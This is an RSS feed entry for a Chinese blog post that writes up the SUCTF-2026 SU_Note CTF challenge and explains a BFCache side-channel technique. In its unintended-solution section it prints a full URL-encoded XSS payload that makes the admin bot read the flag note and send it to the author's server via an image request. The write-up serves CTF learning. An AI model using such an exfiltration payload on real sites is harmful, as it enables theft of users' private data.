<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>BFCache on Fish Site</title>
        <link>https://pencilfishdaydream.fun/tags/bfcache/</link>
        <description>Recent content in BFCache on Fish Site</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <copyright>pencil</copyright>
        <lastBuildDate>Sat, 11 Apr 2026 18:00:07 +0800</lastBuildDate><atom:link href="https://pencilfishdaydream.fun/tags/bfcache/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>BFCache 侧信道攻击</title>
        <link>https://pencilfishdaydream.fun/p/bfcache-%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB/</link>
        <pubDate>Sat, 11 Apr 2026 18:00:07 +0800</pubDate>
        
        <guid>https://pencilfishdaydream.fun/p/bfcache-%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB/</guid>
        <description>&lt;img src="https://pencilfishdaydream.fun/p/bfcache-%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB/yande.re%201153032%20azuuru%20elaina_%28majotabi%29%20majo_no_tabitabi%20thighhighs%20witch.jpg" alt="Featured image of post BFCache 侧信道攻击" /&gt;&lt;h1 id=&#34;bfcache-侧信道攻击-suctf-2026-su_note&#34;&gt;BFCache 侧信道攻击 (SUCTF-2026 SU_Note)
&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;从未想过的攻击思路，原题来自&lt;a class=&#34;link&#34; href=&#34;https://github.com/team-su/SUCTF-2026?tab=readme-ov-file#web-%E5%AE%89%E5%85%A8%E7%B3%BB%E5%88%97--8-%E9%A2%98&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;SUCTF-2026&lt;/a&gt;的SU_Note&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;关于题目&#34;&gt;关于题目
&lt;/h2&gt;&lt;h3 id=&#34;题目简述&#34;&gt;题目简述
&lt;/h3&gt;&lt;p&gt;这个题目是一个笔记系统，用户登录，发布笔记，可以模糊搜索自己写的笔记，flag在admin用户(用户名/密码随机)的笔记里面&lt;/p&gt;
&lt;p&gt;另外内置了一个chrome，写了一个&lt;code&gt;bot.js&lt;/code&gt;用&lt;code&gt;puppeteer-core&lt;/code&gt;去访问指定的url，网站部署在&lt;code&gt;http://127.0.0.1:10003/&lt;/code&gt;，bot部署在内部80端口，用的是admin的身份&lt;/p&gt;
&lt;h3 id=&#34;非预期解&#34;&gt;非预期解
&lt;/h3&gt;&lt;p&gt;在search里面搜索一个&lt;code&gt;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;提示1，说明有xss漏洞&lt;/p&gt;
&lt;p&gt;然后我们只要让bot用admin的身份去访问本地的search路由，执行js，把搜索到的数据外带就可以了，这里我选择让他加载图片，访问我服务器的&lt;code&gt;/leak?f=&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;payload如下
&lt;code&gt;http://127.0.0.1:80/search.php?q=%3C%2Fscript%3E%3Cscript%3Etry%7Bfunction%20G(u)%7Bvar%20x%3Dnew%20XMLHttpRequest()%3Bx.open(&#39;GET&#39;%2Cu%2Cfalse)%3Bx.send()%3Breturn%20x.responseText%3B%7Dfunction%20F(t)%7Bvar%20a%3Dt.indexOf(&#39;SUCTF%7B&#39;)%3Bif(a%3C0)return&#39;&#39;%3Bvar%20b%3Dt.indexOf(&#39;%7D&#39;%2Ca)%3Breturn%20b%3E%3Da%3Ft.slice(a%2Cb%2B1)%3A&#39;&#39;%3B%7Dvar%20note%3DG(&#39;%2F%3Fnote%3D__system_flag_note__&#39;)%3Bvar%20flag%3DF(note)%3B(new%20Image()).src%3D&#39;https%3A%2F%2Fpencilfishdaydream.fun%2Fleak%3Ff%3D&#39;%2BencodeURIComponent(flag)%3B%7Dcatch(e)%7B%7D%3C%2Fscript%3E&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;预期解法&#34;&gt;预期解法
&lt;/h3&gt;&lt;p&gt;看了下面自然就知道了&lt;/p&gt;
&lt;h2 id=&#34;关于bfcache-侧信道攻击&#34;&gt;关于BFCache 侧信道攻击
&lt;/h2&gt;&lt;h3 id=&#34;bfcachebackforward-cache&#34;&gt;BFCache(Back/Forward Cache)
&lt;/h3&gt;&lt;p&gt;这个缓存存的是，在浏览器中点击前进和后退时弹出的界面。&lt;/p&gt;
&lt;p&gt;当你离开一个页面的时候，BFCache会把当前状态保存进内存，当你Back回来之后不走任何网络请求，也不走传统的 HTTP 硬盘缓存&lt;/p&gt;
&lt;h3 id=&#34;no-store绝对不缓存&#34;&gt;no-store(绝对不缓存)
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;no-store&lt;/code&gt; 是HTTP响应头&lt;code&gt;Cache-Cobtrol&lt;/code&gt;中的一个指令(&lt;code&gt;Cache-Control:no-store&lt;/code&gt;)，就是让浏览器及中间网关不要缓存他，每一次访问都要走网络，此指令应适用于包含敏感数据的网页（例如用户登录后的网页）&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;no-store&lt;/code&gt;是缓存存都不能存，&lt;code&gt;no-cache&lt;/code&gt;是可以存，但使用前必须验证，如果服务器发回来304就直接用缓存&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;unload页面卸载事件&#34;&gt;unload(页面卸载事件)
&lt;/h3&gt;&lt;p&gt;当你离开页面的时候，如果写了如&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;addEventListener&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;unload&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;event&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// 执行一些清理工作，比如发送统计数据、清理 Cookie 等
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;的函数，如果这个代码触发了，也就是注册了unload，那在新旧的政策下都是不进入BFCache的&lt;/p&gt;
&lt;h3 id=&#34;解释&#34;&gt;解释
&lt;/h3&gt;&lt;p&gt;传统的情况是，如果HTML页面设置了 Cache-Control: no-store, Chrome就会完全禁止其生成BFCache，但是在近两年的&lt;a class=&#34;link&#34; href=&#34;https://developer.chrome.com/docs/web-platform/bfcache-ccns?hl=zh-cn#should_developers_still_aim_to_reduce_usage_of_cache-control_no-store&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;政策&lt;/a&gt;中：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Chrome 正在进行一项更改，以允许在安全的情况下对使用 Cache-Control: no-store 的网页使用往返缓存 (bfcache)。`
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;而unload 事件与 BFCache的互斥现在仍然存在&lt;/p&gt;
&lt;p&gt;另外，BFCache和缓存数量有上限(常见为6)，满了之后通过LRU(最近最少使用)机制淘汰，而通过监听&lt;code&gt;pageshow&lt;/code&gt;的&lt;code&gt;persisted&lt;/code&gt;属性可以判断这个页面是不是从BFCache中恢复的&lt;/p&gt;
&lt;p&gt;通过上面的信息可知，“如果目标网站的某个操作（如搜索是否命中）会导致页面源码产生差异
（例如命中时不注册 unload，未命中时注册了 unload），我们就可以利用侧信道来探测这个差异&lt;/p&gt;
&lt;p&gt;可以通过连续加入新的BFCache，
之后再返回来检查最远的页面的缓存是否被踢掉来判断，之前的判断条件是否成立，或者进一步实现布尔盲注&lt;/p&gt;
&lt;h2 id=&#34;碎碎念&#34;&gt;碎碎念
&lt;/h2&gt;&lt;p&gt;这个题当时虽然被非预期麻了，但是他dockerfile和entrypoint.sh写得非常成熟老练，学到了很多脚本的用法,话说我好像已经两个季度没有追番了，好累啊&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://pencilfishdaydream.fun/p/bfcache-%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB/images/2024_0707_182534.png&#34;
	width=&#34;563&#34;
	height=&#34;561&#34;
	srcset=&#34;https://pencilfishdaydream.fun/p/bfcache-%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB/images/2024_0707_182534_hu_6ad06e450f90fa42.png 480w, https://pencilfishdaydream.fun/p/bfcache-%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB/images/2024_0707_182534_hu_bf70579361791d55.png 1024w&#34;
	loading=&#34;lazy&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;100&#34;
		data-flex-basis=&#34;240px&#34;
	
&gt;&lt;/p&gt;
</description>
        </item>
        
    </channel>
</rss>
